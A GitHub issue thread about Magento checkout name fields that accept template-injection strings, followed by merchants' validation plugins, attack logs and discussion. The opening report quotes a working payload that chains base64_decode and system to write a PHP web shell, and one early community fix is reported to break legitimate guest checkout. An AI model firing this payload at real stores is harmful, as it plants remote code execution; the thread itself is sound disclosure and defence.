Checkout address forms allow random code in the name fields

nkarthickannan commented 1 month ago

Preconditions and environment

Magento version - 2.4.7-p1

Steps to reproduce

Install a fresh Magento latest version with sample data
Add to a product to shopping cart and navigate to the checkout page (either as guest or as logged in user)
Provide the following code in the First name and Last name fields (shipping and billing address fields) {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Expected result

Magento should not allow to proceed by throwing an error

Actual result

Magento allows the user to proceed further without throwing an error

Additional information

Similar issue is already raised and resolved here - https://github.com/magento/magento2/issues/38331

Release note

No response

Triage and priority

[X] Severity: S0 - Affects critical data or functionality and leaves users without workaround.
[ ] Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
[ ] Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
[ ] Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
[ ] Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.

ishaqdahot commented 1 month ago

Magento\Quote\Model\etc\di.xml

@in-session Kindly change the file path from Magento\Quote\Model\etc\di.xml to Magento\Quote\etc\di.xml

Max-Leps commented 1 month ago

This is the temporary fix for now: New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php

<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Quote\Model\ValidationRules;

use Magento\Framework\Validation\ValidationResultFactory;
use Magento\Quote\Model\Quote;

/**
 * Class NameValidationRule
 * Validates the first name and last name fields in a quote.
 */
class NameValidationRule implements QuoteValidationRuleInterface
{
    /**
     * Regular expression pattern for validating names.
     *
     * \p{L}: Unicode letters.
     * \p{M}: Unicode marks (diacritic marks, accents, etc.).
     * ,: Comma.
     * -: Hyphen.
     * _: Underscore.
     * .: Period.
     * ': Apostrophe mark.
     * ’: Right single quotation mark.
     * `: Grave accent.
     * &: Ampersand.
     * \s: Whitespace characters (spaces, tabs, newlines, etc.).
     * \d: Digits (0-9).
     */
    private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u';

    /**
     * @var ValidationResultFactory
     */
    private $validationResultFactory;

    /**
     * Constructor.
     *
     * @param ValidationResultFactory $validationResultFactory
     */
    public function __construct(ValidationResultFactory $validationResultFactory)
    {
        $this->validationResultFactory = $validationResultFactory;
    }

    /**
     * Validate the first name and last name in the quote.
     *
     * @param Quote $quote
     * @return array
     */
    public function validate(Quote $quote): array
    {
        $validationErrors = [];
        $firstName = $quote->getCustomerFirstname();
        $lastName = $quote->getCustomerLastname();

        if (!$this->isValidName($firstName)) {
            $validationErrors[] = __('First Name is not valid');
        }

        if (!$this->isValidName($lastName)) {
            $validationErrors[] = __('Last Name is not valid');
        }

        return [$this->validationResultFactory->create(['errors' => $validationErrors])];
    }

    /**
     * Check if a name field is valid according to the pattern.
     *
     * @param string|null $nameValue
     * @return bool
     */
    private function isValidName($nameValue): bool
    {
        if ($nameValue !== null) {
            if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
                return $matches[0] === $nameValue;
            }
        }
        return false;
    }
}

Magento\Quote\Model\etc\di.xml add at the end of <argument name="validationRules" xsi:type="array">

                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>

Like:

    <type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite">
        <arguments>
            <argument name="validationRules" xsi:type="array">
                <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item>
                <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item>
                <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item>
                <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item>
                <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item>
                <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item>
                <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
            </argument>
        </arguments>
    </type>

And after:

<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
</type>

    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>

like:

    <type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument>
        </arguments>
    </type>
    <type name="Magento\Quote\Model\ValidationRules\NameValidationRule">
        <arguments>
            <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument>
        </arguments>
    </type>

I just apply it in our magento - Actually I think it works, thanks

Actually it did not worked. Now it does not allow real users to place guest orders. We just undo changes

ishaqdahot commented 1 month ago

@in-session I am also getting error on Mageplaza step checkout I tried to put the proper email and First Name and Last Name and here is the error in log.

[2024-08-14T10:30:42.317897+00:00] main.CRITICAL: Exception: Warning: preg_match(): Compilation failed: UTF-8 error: isolated byte with 0x80 bit set at offset 23 in /home/ishaq/public_html/vendor/magento/module-quote/Model/ValidationRules/NameValidationRule.php on line 84

jsdupuis commented 1 month ago

Anyone has written a SQL query to sanitize the data in the database and would be willing to share? While we wait for the fix...

in-session commented 1 month ago

Can you try, im current in holidays

private function isValidName($nameValue): bool
{
    if ($nameValue !== null) {
        // Convert the string to valid UTF-8
        $nameValue = mb_convert_encoding($nameValue, 'UTF-8', 'UTF-8');

        // Perform the regex match
        if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) {
            return $matches[0] === $nameValue;
        }
    }
    return false;
}

key-dev commented 1 month ago

I have the same problem with Magento 2.4.3p1 and no fix worked so far. Would anyone be able to help? Still able so save the address and place the order with that code in name fields.

Max-Leps commented 1 month ago

Is it actually dangerous that someone is injecting that code into our Magentos? Is there risk that someone will hack our websites? They did it 10th time for us and nothing happens so far. They are injecting code and we are removing, that's it! So what do we need the fix for? To avoid hacking or just to avoid annoying order deletion process every time they inject code and mess up our orders table UI?

frostitution commented 1 month ago

Is it actually dangerous that someone is injecting that code into our Magentos? Is there risk that someone will hack our websites? They did it 10th time for us and nothing happens so far. They are injecting code and we are removing, that's it! So what do we need the fix for? To avoid hacking or just to avoid annoying order deletion process every time they inject code and mess up our orders table UI?

It shouldn't be possible to do period, would you be ok with people filling in name/address fields with random junk code like that? All it takes is one slip up to let random code execute on your server and your business get screwed over. It is very dangerous.

in-session commented 1 month ago

@Max-Leps It is of course important to secure such things, there are security fixes for this. Even if some areas in magento were secured, it was possible to inject and execute the code via the api. In some countries you are obliged to secure your systems due to data protection. Otherwise you wouldn't have to implement captcha, mfa or anything else. It is also not certain to what extent other code injection would be possible. There are also possible connections to external systems which could then cause problems and execute the code. And the latter is of course for agencies that receive calls from customers.

n2diving-dgx commented 1 month ago

Saw a new version of the code with some white space injected...

Also a new bogus email address... "johnsmith9172@outlook.com"

Max-Leps commented 1 month ago

@in-session

I dump your code (temp fix) And it seems that lastname and firstname ($firstName, $lastName) variables are empty there. This is the reason why it blocks all regular checkout attempts. Maybe it works for registered users (I have not tested) but it does not for guest checkout

Any help?

crazytrace commented 1 month ago

@Max-Leps are you using the Magento 2 default Luma checkout or other 3rd part modules checkout? I would also suggest blocking their route of the ipv4/ ipv6 address through server side firewall.

Max-Leps commented 1 month ago

@crazytrace

@Max-Leps are you using the Magento 2 default Luma checkout or other 3rd part modules checkout? I would also suggest blocking their route of the ipv4/ ipv6 address through server side firewall.

We are using customised luma and magento onepage checkout

awadMayez commented 1 month ago

@crazytrace

@Max-Leps are you using the Magento 2 default Luma checkout or other 3rd part modules checkout? I would also suggest blocking their route of the ipv4/ ipv6 address through server side firewall.

We are using customised luma and magento onepage checkout

Im trying to filter Rest Api requests in Cloudflare, like /rest/all/V1/guest-carts/ and what i found is that those requests are from Linux users.... I guess thats the attackers, so will try to create some events on JS challenge or something stronger. I guess you can use nginx too to prevent orders from Rest Api

jsdupuis commented 1 month ago

By the way, I just noticed that Magento released a new security patch 2 days ago. Not sure if it solves the current problem: https://helpx.adobe.com/security/products/magento/apsb24-61.html

Max-Leps commented 1 month ago

@jsdupuis

By the way, I just noticed that Magento released a new security patch 2 days ago. Not sure if it solves the current problem: https://helpx.adobe.com/security/products/magento/apsb24-61.html

No it's different thing

bafmaamy commented 1 month ago

Ok, I managed to deal with this, creating a custom module and block order execution if firstname or lastname contain characters like "}","{", <.. etc. and log the attempt too. Hope this help.

app/code/{Vendor}/{Your Module}/Plugin/OrderSourceLogger.php;

<?php
namespace {Vendor}\{Your Module}\Plugin;

use Magento\Sales\Api\OrderRepositoryInterface;
use Psr\Log\LoggerInterface;
use Magento\Framework\Exception\InputException;

class OrderSourceLogger
{
    protected $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    private function getClientIp()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return $_SERVER['HTTP_X_REAL_IP'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    private function validateName($name)
    {
        // Check for disallowed characters
        if (preg_match('/[{}<>]/', $name)) {
            throw new InputException(__('Invalid characters in name fields.'));
        }
    }

    public function beforeSave(OrderRepositoryInterface $subject, $order)
    {
        $isApiOrder = false;

        // Check if the order is placed via API by inspecting the current request
        if (php_sapi_name() !== 'cli' && isset($_SERVER['HTTP_USER_AGENT'])) {
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            if (strpos($userAgent, 'REST') !== false || strpos($userAgent, 'API') !== false) {
                $isApiOrder = true;
            }
        }

        try {
            // Validate firstname and lastname for disallowed characters
            $this->validateName($order->getCustomerFirstname());
            $this->validateName($order->getCustomerLastname());

            // Log the source of the order and additional request details
            $orderSource = $isApiOrder ? 'API' : 'Web';
            $this->logger->info('Order placed via ' . $orderSource . ': Order ID ' . $order->getEntityId());

            $this->logger->info('Order Details', [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);
        } catch (InputException $e) {
            // Log the unsuccessful attempt
            $this->logger->warning('Unsuccessful order attempt: ' . $e->getMessage(), [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);

            // Rethrow the exception to stop the order from being saved
            throw $e;
        }
    }
}

app/code/{Vendor}/{Your Module}/Logger/CustomLogger.php

<?php

namespace {Vendor}/{Your Module}\Logger;

use Monolog\Logger;
use Magento\Framework\Logger\Handler\Base;

class CustomLogger extends Logger
{
}

app/code/{Vendor}/{Your Module}/Plugin/ValidateCustomerData.php

<?php
// app/code/{Vendor}/{Your Module}/Plugin/ValidateCustomerData.php
namespace {Vendor}/{Your Module}\Plugin;

use Magento\Framework\App\RequestInterface;
use {Vendor}/{Your Module}\Logger\CustomLogger;

class ValidateCustomerData
{
    protected $logger;
    protected $request;

    public function __construct(CustomLogger $logger, RequestInterface $request)
    {
        $this->logger = $logger;
        $this->request = $request;
    }

    public function beforeSave(\Magento\Customer\Api\Data\CustomerInterface $customer)
    {
        $firstname = $customer->getFirstname();
        $lastname = $customer->getLastname();

        if (!$this->isValidName($firstname) || !$this->isValidName($lastname)) {
            $this->logRequestDetails('Invalid order attempt', $firstname, $lastname);
            throw new \Magento\Framework\Exception\InputException(__('Invalid characters in name fields.'));
        }

        $this->logRequestDetails('Order placement', $firstname, $lastname);

        $customer->setFirstname($this->sanitizeName($firstname));
        $customer->setLastname($this->sanitizeName($lastname));
    }

    private function logRequestDetails($message, $firstname, $lastname)
    {
        $this->logger->info($message, [
            'firstname' => $firstname,
            'lastname' => $lastname,
            'IP' => $this->request->getClientIp(),
            'User Agent' => $this->request->getHeader('User-Agent'),
            'Request URL' => $this->request->getRequestUri(),
            'Request Method' => $this->request->getMethod()
        ]);
    }

    private function isValidName($name)
    {
        return preg_match('/^[^{}\[\]<>]+$/u', $name);
    }

    private function sanitizeName($name)
    {
        return htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
    }
}

di.xml added:

<type name="Magento\Framework\Logger\Monolog">
        <arguments>
            <argument name="handlers" xsi:type="array">
                <item name="custom_logger" xsi:type="object">{Vendor}/{Your Module}\Logger\Handler\CustomHandler</item>
            </argument>
        </arguments>
    </type>
    <type name="{Vendor}/{Your Module}\Logger\CustomLogger">
        <arguments>
            <argument name="name" xsi:type="string">custom_order</argument>
            <argument name="handlers" xsi:type="array">
                <item name="stream" xsi:type="object">{Vendor}/{Your Module}\Logger\Handler\CustomHandler</item>
            </argument>
        </arguments>
    </type>
    <type name="Magento\Customer\Api\Data\CustomerInterface">
        <plugin name="{Vendor}_{Your Module}_validate_customer_data" type="{Vendor}\{Your Module}\Plugin\ValidateCustomerData"/>
    </type>
    <type name="Magento\Sales\Api\OrderRepositoryInterface">
         <plugin name="order_source_logger" type="{Vendor}/{Your Module}\Plugin\OrderSourceLogger" />
     </type>

app/code/{Vendor}/{Your Module}/Logger/Handler/CustomHandler.php

<?php

namespace {Vendor}\{Your Module}\Logger\Handler;

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

class CustomHandler extends StreamHandler
{
    public function __construct()
    {
        $logFile = BP . '/var/log/custom_order.log'; // Ensure the path is correct
        parent::__construct($logFile, Logger::INFO); // Adjust log level if necessary
    }
}

After they attack again I get this in the log:

[2024-08-15T12:50:45.047905+00:00] main.WARNING: Unsuccessful order attempt: Invalid characters in name fields. {"IP":"192.241.68.77, 127.0.0.1","User Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Mobile/15E148 DuckDuckGo/7 Safari/605.1.15","Request URI":"/rest/default/V1/guest-carts/mhBTqKF9R7GvkqdzfDKizRY5at8z43nY/payment-information"} [] [2024-08-15T12:50:45.048002+00:00] main.CRITICAL: Saving order 000000358 failed: Invalid characters in name fields. [] []

ssx commented 1 month ago

There's a bit of misunderstanding around this issue in the community at the moment. Providing your Magento installation is up to date and patched, these are harmless but annoying.

I've seen a few approaches to solving it and there's some excellent suggestions here. Setting guest access to disabled for the API won't stop these from appearing. They're using the same API endpoints that a legitimate customer users to place an order. You cannot block access to this endpoint.

In short, although ugly these are perfectly valid orders. In terms of checking the first/last name, we've seen other fields injected with it. I wrote https://github.com/DeployEcommerce/module-trojan-order-prevent to stop the majority of these from being completed. In short, at both of the billing and shipping steps, it flattens the whole input and tests that string for markers of the probe and the rejects saving at that point meaning the orders never end up in Magento.

The longer term solution to this problem is extended validation of the input fields but that isn't as straightforward as it seems. Addresses will contain unicode, diacritics and other characters that will need to be handled.

bafmaamy commented 1 month ago

You can add and firstname and lastname validaton in your plugin too.

Yea the misunderstanding is presented - They expoiting the platform trough these 2 fields, not the shipping or billing address address.

There's a bit of misunderstanding around this issue in the community at the moment. Providing your Magento installation is up to date and patched, these are harmless but annoying.

I've seen a few approaches to solving it and there's some excellent suggestions here. Setting guest access to disabled for the API won't stop these from appearing. They're using the same API endpoints that a legitimate customer users to place an order. You cannot block access to this endpoint.

In short, although ugly these are perfectly valid orders. In terms of checking the first/last name, we've seen other fields injected with it. I wrote https://github.com/DeployEcommerce/module-trojan-order-prevent to stop the majority of these from being completed. In short, at both of the billing and shipping steps, it flattens the whole input and tests that string for markers of the probe and the rejects saving at that point meaning the orders never end up in Magento.

The longer term solution to this problem is extended validation of the input fields but that isn't as straightforward as it seems. Addresses will contain unicode, diacritics and other characters that will need to be handled.

ssx commented 1 month ago

You can add and firstname and lastname validaton in your plugin too.

Yea the misunderstanding is presented - They expoiting the platform trough these 2 fields, not the shipping or billing address address.

There's a bit of misunderstanding around this issue in the community at the moment. Providing your Magento installation is up to date and patched, these are harmless but annoying. I've seen a few approaches to solving it and there's some excellent suggestions here. Setting guest access to disabled for the API won't stop these from appearing. They're using the same API endpoints that a legitimate customer users to place an order. You cannot block access to this endpoint. In short, although ugly these are perfectly valid orders. In terms of checking the first/last name, we've seen other fields injected with it. I wrote https://github.com/DeployEcommerce/module-trojan-order-prevent to stop the majority of these from being completed. In short, at both of the billing and shipping steps, it flattens the whole input and tests that string for markers of the probe and the rejects saving at that point meaning the orders never end up in Magento. The longer term solution to this problem is extended validation of the input fields but that isn't as straightforward as it seems. Addresses will contain unicode, diacritics and other characters that will need to be handled.

@bafmaamy we've seen attempts through billing/shipping address fields as well as both name fields along with company name fields too.

Max-Leps commented 1 month ago

There's a bit of misunderstanding around this issue in the community at the moment. Providing your Magento installation is up to date and patched, these are harmless but annoying.

I've seen a few approaches to solving it and there's some excellent suggestions here. Setting guest access to disabled for the API won't stop these from appearing. They're using the same API endpoints that a legitimate customer users to place an order. You cannot block access to this endpoint.

In short, although ugly these are perfectly valid orders. In terms of checking the first/last name, we've seen other fields injected with it. I wrote https://github.com/DeployEcommerce/module-trojan-order-prevent to stop the majority of these from being completed. In short, at both of the billing and shipping steps, it flattens the whole input and tests that string for markers of the probe and the rejects saving at that point meaning the orders never end up in Magento.

The longer term solution to this problem is extended validation of the input fields but that isn't as straightforward as it seems. Addresses will contain unicode, diacritics and other characters that will need to be handled.

Hi The plugin you are mentioning is in conflict with magefan POS module. When we enable that DeployEcommerce plugin, our magefan POS stopped working. I agree it flattens whole input and it is definitely better solution but conflict with module makes it unable to use for us.

Cheers

ssx commented 1 month ago

There's a bit of misunderstanding around this issue in the community at the moment. Providing your Magento installation is up to date and patched, these are harmless but annoying. I've seen a few approaches to solving it and there's some excellent suggestions here. Setting guest access to disabled for the API won't stop these from appearing. They're using the same API endpoints that a legitimate customer users to place an order. You cannot block access to this endpoint. In short, although ugly these are perfectly valid orders. In terms of checking the first/last name, we've seen other fields injected with it. I wrote https://github.com/DeployEcommerce/module-trojan-order-prevent to stop the majority of these from being completed. In short, at both of the billing and shipping steps, it flattens the whole input and tests that string for markers of the probe and the rejects saving at that point meaning the orders never end up in Magento. The longer term solution to this problem is extended validation of the input fields but that isn't as straightforward as it seems. Addresses will contain unicode, diacritics and other characters that will need to be handled.

Hi The plugin you are mentioning is in conflict with magefan POS module. When we enable that DeployEcommerce plugin, our magefan POS stopped working. I agree it flattens whole input and it is definitely better solution but conflict with module makes it unable to use for us.

Cheers

thanks @Max-Leps - I'll take a look and see what I can do 🙂

Max-Leps commented 1 month ago

Ok, I managed to deal with this, creating a custom module and block order execution if firstname or lastname contain characters like "}","{", <.. etc. and log the attempt too. Hope this help.

app/code/{Vendor}/{Your Module}/Plugin/OrderSourceLogger.php;

<?php
namespace {Vendor}\{Your Module}\Plugin;

use Magento\Sales\Api\OrderRepositoryInterface;
use Psr\Log\LoggerInterface;
use Magento\Framework\Exception\InputException;

class OrderSourceLogger
{
    protected $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    private function getClientIp()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return $_SERVER['HTTP_X_REAL_IP'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    private function validateName($name)
    {
        // Check for disallowed characters
        if (preg_match('/[{}<>]/', $name)) {
            throw new InputException(__('Invalid characters in name fields.'));
        }
    }

    public function beforeSave(OrderRepositoryInterface $subject, $order)
    {
        $isApiOrder = false;

        // Check if the order is placed via API by inspecting the current request
        if (php_sapi_name() !== 'cli' && isset($_SERVER['HTTP_USER_AGENT'])) {
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            if (strpos($userAgent, 'REST') !== false || strpos($userAgent, 'API') !== false) {
                $isApiOrder = true;
            }
        }

        try {
            // Validate firstname and lastname for disallowed characters
            $this->validateName($order->getCustomerFirstname());
            $this->validateName($order->getCustomerLastname());

            // Log the source of the order and additional request details
            $orderSource = $isApiOrder ? 'API' : 'Web';
            $this->logger->info('Order placed via ' . $orderSource . ': Order ID ' . $order->getEntityId());

            $this->logger->info('Order Details', [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);
        } catch (InputException $e) {
            // Log the unsuccessful attempt
            $this->logger->warning('Unsuccessful order attempt: ' . $e->getMessage(), [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);

            // Rethrow the exception to stop the order from being saved
            throw $e;
        }
    }
}

app/code/{Vendor}/{Your Module}/Logger/CustomLogger.php

<?php

namespace {Vendor}/{Your Module}\Logger;

use Monolog\Logger;
use Magento\Framework\Logger\Handler\Base;

class CustomLogger extends Logger
{
}

app/code/{Vendor}/{Your Module}/Plugin/ValidateCustomerData.php

<?php
// app/code/{Vendor}/{Your Module}/Plugin/ValidateCustomerData.php
namespace {Vendor}/{Your Module}\Plugin;

use Magento\Framework\App\RequestInterface;
use {Vendor}/{Your Module}\Logger\CustomLogger;

class ValidateCustomerData
{
    protected $logger;
    protected $request;

    public function __construct(CustomLogger $logger, RequestInterface $request)
    {
        $this->logger = $logger;
        $this->request = $request;
    }

    public function beforeSave(\Magento\Customer\Api\Data\CustomerInterface $customer)
    {
        $firstname = $customer->getFirstname();
        $lastname = $customer->getLastname();

        if (!$this->isValidName($firstname) || !$this->isValidName($lastname)) {
            $this->logRequestDetails('Invalid order attempt', $firstname, $lastname);
            throw new \Magento\Framework\Exception\InputException(__('Invalid characters in name fields.'));
        }

        $this->logRequestDetails('Order placement', $firstname, $lastname);

        $customer->setFirstname($this->sanitizeName($firstname));
        $customer->setLastname($this->sanitizeName($lastname));
    }

    private function logRequestDetails($message, $firstname, $lastname)
    {
        $this->logger->info($message, [
            'firstname' => $firstname,
            'lastname' => $lastname,
            'IP' => $this->request->getClientIp(),
            'User Agent' => $this->request->getHeader('User-Agent'),
            'Request URL' => $this->request->getRequestUri(),
            'Request Method' => $this->request->getMethod()
        ]);
    }

    private function isValidName($name)
    {
        return preg_match('/^[^{}\[\]<>]+$/u', $name);
    }

    private function sanitizeName($name)
    {
        return htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
    }
}

di.xml added:

<type name="Magento\Framework\Logger\Monolog">
        <arguments>
            <argument name="handlers" xsi:type="array">
                <item name="custom_logger" xsi:type="object">{Vendor}/{Your Module}\Logger\Handler\CustomHandler</item>
            </argument>
        </arguments>
    </type>
    <type name="{Vendor}/{Your Module}\Logger\CustomLogger">
        <arguments>
            <argument name="name" xsi:type="string">custom_order</argument>
            <argument name="handlers" xsi:type="array">
                <item name="stream" xsi:type="object">{Vendor}/{Your Module}\Logger\Handler\CustomHandler</item>
            </argument>
        </arguments>
    </type>
    <type name="Magento\Customer\Api\Data\CustomerInterface">
        <plugin name="{Vendor}_{Your Module}_validate_customer_data" type="{Vendor}\{Your Module}\Plugin\ValidateCustomerData"/>
    </type>
    <type name="Magento\Sales\Api\OrderRepositoryInterface">
         <plugin name="order_source_logger" type="{Vendor}/{Your Module}\Plugin\OrderSourceLogger" />
     </type>

app/code/{Vendor}/{Your Module}/Logger/Handler/CustomHandler.php

<?php

namespace {Vendor}\{Your Module}\Logger\Handler;

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

class CustomHandler extends StreamHandler
{
    public function __construct()
    {
        $logFile = BP . '/var/log/custom_order.log'; // Ensure the path is correct
        parent::__construct($logFile, Logger::INFO); // Adjust log level if necessary
    }
}

After they attack again I get this in the log:

[2024-08-15T12:50:45.047905+00:00] main.WARNING: Unsuccessful order attempt: Invalid characters in name fields. {"IP":"192.241.68.77, 127.0.0.1","User Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Mobile/15E148 DuckDuckGo/7 Safari/605.1.15","Request URI":"/rest/default/V1/guest-carts/mhBTqKF9R7GvkqdzfDKizRY5at8z43nY/payment-information"} [] [2024-08-15T12:50:45.048002+00:00] main.CRITICAL: Saving order 000000358 failed: Invalid characters in name fields. [] []

This module worked well for us (so far). I have added it at this morning and website works well as well as POS system, also no injection attempts so far. But would be very cool if module creator would add validation for another fields too, like company name, post code, city etc. for all fields, because I feel like all rest fields are not safe and they still can inject code.

Cheers

bafmaamy commented 1 month ago

@Max-Leps you can update the code of app/code/{Vendor}/{Your Module}/Plugin/OrderSourceLogger.php; with:

<?php
namespace {Vendor}/{Your Module}\Plugin;

use Magento\Sales\Api\OrderRepositoryInterface;
use Psr\Log\LoggerInterface;
use Magento\Framework\Exception\InputException;

class OrderSourceLogger
{
    protected $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    private function getClientIp()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return $_SERVER['HTTP_X_REAL_IP'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    private function validateInput($input, $fieldName, $maxLength = null)  {
        // Check if input is null or empty, skip validation if it is
     if (empty($input)) {
        return;
        }

        // Check for disallowed characters
        if (preg_match('/[{}<>%]/', $input)) {
            throw new InputException(__("Invalid characters in $fieldName."));
        }

        // Length validation if maxLength is provided
        if ($maxLength !== null && strlen($input) > $maxLength) {
            throw new InputException(__("$fieldName cannot exceed $maxLength characters."));
        }
    }

    public function beforeSave(OrderRepositoryInterface $subject, $order)
    {
        $isApiOrder = false;

        // Check if the order is placed via API by inspecting the current request
        if (php_sapi_name() !== 'cli' && isset($_SERVER['HTTP_USER_AGENT'])) {
            $userAgent = $_SERVER['HTTP_USER_AGENT'];
            if (strpos($userAgent, 'REST') !== false || strpos($userAgent, 'API') !== false) {
                $isApiOrder = true;
            }
        }

        try {
            // Validate firstname and lastname with length limit
            $this->validateInput($order->getCustomerFirstname(), 'First Name', 30);
            $this->validateInput($order->getCustomerLastname(), 'Last Name', 30);

            // Validate company and other address fields for disallowed characters
            $billingAddress = $order->getBillingAddress();
            $shippingAddress = $order->getShippingAddress();

            if ($billingAddress) {
                $this->validateInput($billingAddress->getCompany(), 'Billing Company');
                $this->validateInput($billingAddress->getCity(), 'Billing City');
                $this->validateInput($billingAddress->getPostcode(), 'Billing Postcode');
                $this->validateInput($billingAddress->getStreetLine(1), 'Billing Street Address');
            }

            if ($shippingAddress) {
                $this->validateInput($shippingAddress->getCompany(), 'Shipping Company');
                $this->validateInput($shippingAddress->getCity(), 'Shipping City');
                $this->validateInput($shippingAddress->getPostcode(), 'Shipping Postcode');
                $this->validateInput($shippingAddress->getStreetLine(1), 'Shipping Street Address');
            }

            // Assuming there is a field for order comments
            if ($order->getCustomerNote()) {
                $this->validateInput($order->getCustomerNote(), 'Order Comments');
            }

            // Log the source of the order and additional request details
            $orderSource = $isApiOrder ? 'API' : 'Web';
            $this->logger->info('Order placed via ' . $orderSource . ': Order ID ' . $order->getEntityId());

            $this->logger->info('Order Details', [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);
        } catch (InputException $e) {
            // Log the unsuccessful attempt
            $this->logger->warning('Unsuccessful order attempt: ' . $e->getMessage(), [
                'IP' => $this->getClientIp(),
                'User Agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown User Agent',
                'Request URI' => $_SERVER['REQUEST_URI'] ?? 'Unknown URI',
            ]);

            // Rethrow the exception to stop the order from being saved
            throw $e;
        }
    }
}

Added validation of - shpping address, billing address, post code, city, order comments and disallow more than 30 characters in firstname and lastname too.

ssx commented 1 month ago

@Max-Leps you can update the code of app/code/{Vendor}/{Your Module}/Plugin/OrderSourceLogger.php; with:

<?php
namespace {Vendor}/{Your Module}\Plugin;

use Magento\Sales\Api\OrderRepositoryInterface;
use Psr\Log\LoggerInterface;
use Magento\Framework\Exception\InputException;

class OrderSourceLogger
{
    protected $logger;

    public function __construct(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    private function getClientIp()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
